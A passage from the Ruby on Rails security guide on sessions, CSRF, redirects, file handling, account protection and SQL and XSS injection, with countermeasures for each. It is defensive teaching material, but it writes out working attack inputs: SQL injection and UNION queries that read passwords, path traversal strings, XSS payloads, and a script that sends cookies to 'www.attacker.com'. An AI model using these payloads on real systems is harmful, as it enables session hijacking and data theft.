* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session ID to the trap session ID.
* As the new trap session is unused, the web application will require the user to authenticate.
* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.

### [3.7. Session Fixation - Countermeasures](#session-fixation-countermeasures)

*One line of code will protect you from session fixation.*

The most effective countermeasure is to *issue a new session identifier* and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:

```
reset_session
```

If you use the popular [Devise](https://rubygems.org/gems/devise) gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action (when the session is created). This will remove values from the session, therefore *you will have to transfer them to the new session*.

Another countermeasure is to *save user-specific properties in the session*, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. *These might change over the course of a session*, so these users will not be able to use your application, or only in a limited way.

### [3.8. Session Expiry](#session-expiry)

*Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking, and session fixation.*

One possibility is to set the expiry time-stamp of the cookie with the session ID. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to *expire sessions in a database table*. Call `Session.sweep(20.minutes)` to expire sessions that were used longer than 20 minutes ago.

```
class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where(updated_at: ...time.ago).delete_all
  end
end
```

The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a `created_at` column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:

```
where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all
```

## [4. Cross-Site Request Forgery (CSRF)](#cross-site-request-forgery-csrf)

This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.

In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session ID in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example:

* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: `<img src="http://www.webapp.com/project/1/destroy">`
* Bob's session at `www.webapp.com` is still alive, because he didn't log out a few minutes ago.
* By viewing the post, the browser finds an image tag. It tries to load the suspected image from `www.webapp.com`. As explained before, it will also send along the cookie with the valid session ID.
* The web application at `www.webapp.com` verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.

It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post, or email.

CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' \[Grossman]. This is in stark contrast to the results in many security contract works - *CSRF is an important security issue*.

### [4.1. CSRF Countermeasures](#csrf-countermeasures)

*First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.*

#### [4.1.1. Use GET and POST Appropriately](#use-get-and-post-appropriately)

The HTTP protocol basically provides two main types of requests - GET and POST (DELETE, PUT, and PATCH should be used like POST). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:

**Use GET if:**

* The interaction is more *like a question* (i.e., it is a safe operation such as a query, read operation, or lookup).

**Use POST if:**

* The interaction is more *like an order*, or
* The interaction *changes the state* of the resource in a way that the user would perceive (e.g., a subscription to a service), or
* The user is *held accountable for the results* of the interaction.

If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT, or DELETE. Some legacy web browsers, however, do not support them - only GET and POST. Rails uses a hidden `_method` field to handle these cases.

*POST requests can be sent automatically, too*. In this example, the link [www.harmless.com](http://www.harmless.com) is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request.

```
<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>
```

Or the attacker places the code into the onmouseover event handler of an image:

```
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
```

There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site `<script>` tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate `XmlHttpRequest`) so we can safely allow them to return JavaScript responses.

We can't distinguish a `<script>` tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all `<script>` across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a `<script>` tag.

#### [4.1.2. Required Security Token](#required-security-token)

To protect against all other forged requests, we introduce a *required security token* that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is done automatically when [`config.action_controller.default_protect_from_forgery`](configuring.html#config-action-controller-default-protect-from-forgery) is set to `true`, which is the default for newly created Rails applications. You can also do it manually by adding the following to your application controller:

```
protect_from_forgery with: :exception
```

This will include a security token in all forms generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.

When submitting forms with [Turbo](https://turbo.hotwired.dev/) the security token is required as well. Turbo looks for the token in the `csrf` meta tags of your application layout and adds it to request in the `X-CSRF-Token` request header. These meta tags are created with the [`csrf_meta_tags`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_tags) helper method:

```
<head>
  <%= csrf_meta_tags %>
</head>
```

which results in:

```
<head>
  <meta name="csrf-param" content="authenticity_token" />
  <meta name="csrf-token" content="THE-TOKEN" />
</head>
```

When making your own non-GET requests from JavaScript the security token is required as well. [Rails Request.JS](https://github.com/rails/request.js) is a JavaScript library that encapsulates the logic of adding the required request headers.

When using another library to make Ajax calls, it is necessary to add the security token as a default header yourself. To get the token from the meta tag you could do something like:

```
document.head.querySelector("meta[name=csrf-token]")?.content
```

#### [4.1.3. Clearing Persistent Cookies](#clearing-persistent-cookies)

It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:

```
rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # Example method that will destroy the user cookies
end
```

The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present or is incorrect on a non-GET request.

Note that *cross-site scripting (XSS) vulnerabilities bypass all CSRF protections*. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read [more about XSS](#cross-site-scripting-xss) later.

## [5. Redirection and Files](#redirection-and-files)

Another class of security vulnerabilities surrounds the use of redirection and files in web applications.

### [5.1. Redirection](#redirection)

*Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap website, they may also create a self-contained attack.*

Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <http://www.example.com/site/redirect?to=www.attacker.com>. Here is an example of a legacy action:

```
def legacy
  redirect_to(params.update(action: "main"))
end
```

This will redirect the user to the main action if they try to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by an attacker if they include a host key in the URL:

```
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
```

If it is at the end of the URL it will hardly be noticed and redirects the user to the `attacker.com` host. As a general rule, passing user input directly into `redirect_to` is considered dangerous. A simple countermeasure would be to *include only the expected parameters in a legacy action* (again a permitted list approach, as opposed to removing unexpected parameters). *And if you redirect to a URL, check it with a permitted list or a regular expression*.

#### [5.1.1. Self-contained XSS](#self-contained-xss)

Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:

`data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K`

This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, *do not allow the user to supply (parts of) the URL to be redirected to*.

### [5.2. File Uploads](#file-uploads)

*Make sure file uploads don't overwrite important files, and process media files asynchronously.*

Many web applications allow users to upload files. *File names, which the user may choose (partly), should always be filtered* as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers, and other programs as a less privileged Unix user.

When filtering user input file names, *don't try to remove malicious parts*. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a permitted list approach, which *checks for the validity of a file name with a set of accepted characters*. This is opposed to a restricted list approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment\_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):

```
def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub!(/\A.*(\\|\/)/, "")
    # Finally, replace all non-alphanumeric, underscore
    # or periods with underscore
    name.gsub!(/[^\w.-]/, "_")
  end
end
```

A significant disadvantage of synchronous processing of file uploads (as the `attachment_fu` plugin may do with images), is its *vulnerability to denial-of-service attacks*. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.

The solution to this is best to *process media files asynchronously*: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.

### [5.3. Executable Code in File Uploads](#executable-code-in-file-uploads)

*Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory.*

The popular Apache web server has an option called DocumentRoot. This is the home directory of the website, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.

*If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it*, store files at least one level upwards.

### [5.4. File Downloads](#file-downloads)

*Make sure users cannot download arbitrary files.*

Just as you have to filter file names for uploads, you have to do so for downloads. The `send_file()` method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:

```
send_file("/var/www/uploads/" + params[:filename])
```

Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to *check that the requested file is in the expected directory*:

```
basename = File.expand_path("../../files", __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: "inline"
```

Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file from being executed. The `attachment_fu` plugin does this in a similar way.

## [6. User Management](#user-management)

### [6.1. Brute-Forcing Accounts](#brute-forcing-accounts)

*Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with rate-limiting, more generic error messages and possibly require to enter a CAPTCHA.*

A list of usernames for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of usernames and a dictionary, an automatic program may find the correct password in a matter of minutes.

Because of this, most web applications will display a generic error message "username or password not correct", if one of these are not correct. If it said "the username you entered has not been found", an attacker could automatically compile a list of usernames.

However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered username or e-mail address has (not) been found. This allows an attacker to compile a list of usernames and brute-force the accounts.

In order to mitigate such attacks, you can use rate limiting. Rails comes with a built-in [rate-limiter](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit). You can enable it in your sessions controller with a single line:

```
class SessionsController < ApplicationController
  rate_limit to: 10, within: 3.minutes, only: :create
end
```

Refer to the [API documentation](https://edgeapi.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html#method-i-rate_limit) for details about the various parameters.

Additionally, you can *display a generic error message on forgot-password pages, too*. Moreover, you can *require to enter a CAPTCHA after a number of failed logins from a certain IP address*.

All of these mitigation techniques are not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.

### [6.2. Account Hijacking](#account-hijacking)

Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?

#### [6.2.1. Passwords](#passwords)

Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, *make change-password forms safe against CSRF*, of course. And *require the user to enter the old password when changing it*.

#### [6.2.2. E-Mail](#e-mail)

However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure *require the user to enter the password when changing the e-mail address, too*.

#### [6.2.3. Other](#other)

Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](https://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a website controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, *review your application logic and eliminate all XSS and CSRF vulnerabilities*.

### [6.3. CAPTCHAs](#captchas)

*A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but to reveal that a robot is a robot.*

A popular positive CAPTCHA API is [reCAPTCHA](https://developers.google.com/recaptcha/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.

You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha\_tags method in the view, and the verify\_recaptcha method in the controller. Verify\_recaptcha will return false if the validation fails. The problem with CAPTCHAs is that they have a negative impact on the user experience. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs are one of the best methods to prevent all kinds of bots from submitting forms.

Most bots are really naive. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.

Note that negative CAPTCHAs are only effective against naive bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g., if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response.

Here are some ideas on how to hide honeypot fields by JavaScript and/or CSS:

* position the fields off the visible area of the page
* make the elements very small or color them the same as the background of the page
* leave the fields displayed, but tell humans to leave them blank

The simplest negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not save the post to the database. This way, the bot will be satisfied and move on.

You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post](https://nedbatchelder.com/text/stopbots.html):

* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
* Randomize the field names
* Include more than one honeypot field of all types, including submission buttons

Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So *negative CAPTCHAs might not be good to protect login forms*.

### [6.4. Logging](#logging)

*Tell Rails not to put passwords in the log files.*

By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker gets (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can *filter certain request parameters from your log files* by appending them to [`config.filter_parameters`](configuring.html#config-filter-parameters) in the application configuration. These parameters will be marked \[FILTERED] in the log.

```
config.filter_parameters << :password
```

Provided parameters will be filtered out by partial matching regular expression. Rails adds a list of default filters, including `:passw`, `:secret`, and `:token`, in the appropriate initializer (`initializers/filter_parameter_logging.rb`) to handle typical application parameters like `password`, `password_confirmation` and `my_token`.

### [6.5. Regular Expressions](#regular-expressions)

*A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.*

Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:

```
/^https?:\/\/[^\n]+$/i
```

This may work fine in some languages. However, *in Ruby `^` and `$` match the **line** beginning and line end*. And thus a URL like this passes the filter without problems:

```
javascript:exploit_code();/*
http://hi.com
*/
```

This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:

```
link_to "Homepage", @user.homepage
```

The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit\_code" or any other JavaScript the attacker provides.

To fix the regular expression, `\A` and `\z` should be used instead of `^` and `$`, like so:

```
/\Ahttps?:\/\/[^\n]+\z/i
```

Since this is a frequent mistake, the format validator (validates\_format\_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:

```
# content should include a line "Meanwhile" anywhere in the string
validates :content, format: { with: /^Meanwhile$/, multiline: true }
```

Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the **line** beginning and line end in Ruby, and not the beginning and end of a string.

### [6.6. Privilege Escalation](#privilege-escalation)

*Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.*

The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:

```
@project = Project.find(params[:id])
```

This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, *query the user's access rights, too*:

```
@project = @current_user.projects.find(params[:id])
```

Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, *no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated*.

Don't be fooled by security by obfuscation and JavaScript security. Developer tools let you review and change every form's hidden fields. *JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values*. DevTools log every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.

## [7. Injection](#injection)

*Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.*

Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query, or programming language, the shell, or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.

### [7.1. Permitted Lists Versus Restricted Lists](#permitted-lists-versus-restricted-lists)

*When sanitizing, protecting, or verifying something, prefer permitted lists over restricted lists.*

A restricted list can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a permitted list which lists the good e-mail addresses, public actions, good HTML tags, and so on. Although sometimes it is not possible to create a permitted list (in a SPAM filter, for example), *prefer to use permitted list approaches*:

* Use `before_action except: [...]` instead of `only: [...]` for security-related actions. This way you don't forget to enable security checks for newly added actions.

* Allow `<strong>` instead of removing `<script>` against Cross-Site Scripting (XSS). See below for details.

* Don't try to correct user input using restricted lists:

  * This will make the attack work: `"<sc<script>ript>".gsub("<script>", "")`
  * But reject malformed input

Permitted lists are also a good approach against the human factor of forgetting something in the restricted list.

### [7.2. SQL Injection](#sql-injection)

*Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.*

#### [7.2.1. Introduction](#sql-injection-introduction)

SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or read arbitrary data. Here is an example of how not to use user input data in a query:

```
Project.where("name = '#{params[:name]}'")
```

This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters `' OR 1) --`, the resulting SQL query will be:

```
SELECT * FROM projects WHERE (name = '' OR 1) --')
```

The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.

#### [7.2.2. Bypassing Authorization](#bypassing-authorization)

Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.

```
User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
```

If an attacker enters `' OR '1'='1` as the name, and `' OR '2'>'1` as the password, the resulting SQL query will be:

```
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
```

This will simply find the first record in the database and grant access to this user.

#### [7.2.3. Unauthorized Reading](#unauthorized-reading)

The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:

```
Project.where("name = '#{params[:name]}'")
```

And now let's inject another query using the UNION statement:

```
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
```

This will result in the following SQL query:

```
SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'
```

The result won't be a list of projects (because there is no project with an empty name), but a list of usernames and their password. So hopefully you [securely hashed the passwords](#user-management) in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

Also, the second query renames some columns with the AS statement so that the Web application displays the values from the user table.

#### [7.2.4. Countermeasures](#sql-injection-countermeasures)

Ruby on Rails has a built-in filter for special SQL characters, which will escape `'` , `"` , NULL character, and line breaks. *Using `Model.find(id)` or `Model.find_by_something(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*.

Instead of passing a string, you can use positional handlers to sanitize tainted strings like this:

```
Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first
```

The first parameter is an SQL fragment with question marks. The second and third parameter will replace the question marks with the value of the variables.

You can also use named handlers, the values will be taken from the hash used:

```
values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first
```

Additionally, you can split and chain conditionals valid for your use case:

```
Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first
```

Note that the previously mentioned countermeasures are only available in model instances. You can try [`sanitize_sql`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql) elsewhere. *Make it a habit to think about the security consequences when using an external string in SQL*.

### [7.3. Cross-Site Scripting (XSS)](#cross-site-scripting-xss)

*The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.*

#### [7.3.1. Entry Points](#entry-points)

An entry point is a vulnerable URL and its parameters where an attacker can start an attack.

The most common entry points are message posts, user comments, and guest books, but project titles, document names, and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on websites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements.

XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the website to get confidential information or install malicious software through security holes in the web browser.

During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](https://www.pandasecurity.com/en/mediacenter/malware/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high-profile targets.

#### [7.3.2. HTML/JavaScript Injection](#html-javascript-injection)

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. *Escaping user input is essential*.

Here is the most straightforward test to check for XSS:

```
<script>alert('Hello');</script>
```

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

```
<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
```

##### [7.3.2.1. Cookie Theft](#cookie-theft)

These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the `document.cookie` property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The `document.cookie` property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

```
<script>document.write(document.cookie);</script>
```

For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL <http://www.attacker.com/> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.

```
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
```

The log files on [www.attacker.com](http://www.attacker.com) will read like this:

```
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
```

You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that `document.cookie` may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://owasp.org/www-community/HttpOnly#browsers-supporting-httponly), though.

##### [7.3.2.2. Defacement](#defacement)

With web page defacement, an attacker can do a lot of things, for example, present false information or lure the victim to the attacker's website to steal the cookie, login credentials, or other sensitive data. The most popular way is to include code from external sources by iframes:

```
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
```

This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This `iframe` is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](https://isc.sans.edu/diary/MPack+Analysis/3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.

A more specialized attack could overlap the entire website or display a login form, which looks the same as the site's original, but transmits the username and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one in its place, which redirects to a fake website.

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but is included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":

```
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
```

##### [7.3.2.3. Countermeasures](#html-javascript-injection-countermeasures)

*It is very important to filter malicious input, but it is also important to escape the output of the web application*.

Especially for XSS, it is important to do *permitted input filtering instead of restricted*. Permitted list filtering states the values allowed as opposed to the values not allowed. Restricted lists are never complete.

Imagine a restricted list deletes `"script"` from the user input. Now the attacker injects `"<scrscriptipt>"`, and after the filter, `"<script>"` remains. Earlier versions of Rails used a restricted list approach for the `strip_tags()`, `strip_links()`, and `sanitize()` methods. So this kind of injection was possible:

```
strip_tags("some<<b>script>alert('hello')<</b>/script>")
```

This returned `"some<script>alert('hello')</script>"`, which makes an attack work. That's why a permitted list approach is better, using the updated Rails 2 method `sanitize()`:

```
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))
```

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

Both Action View and Action Text build their [sanitization helpers](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/SanitizeHelper.html) on top of the [rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem.

As a second step, *it is good practice to escape all output of the application*, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). *Use `html_escape()` (or its alias `h()`) method* to replace the HTML input characters `&`, `"`, `<`, and `>` by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt;`, and `&gt;`).

##### [7.3.2.4. Obfuscation and Encoding Injection](#obfuscation-and-encoding-injection)

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:

```
<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
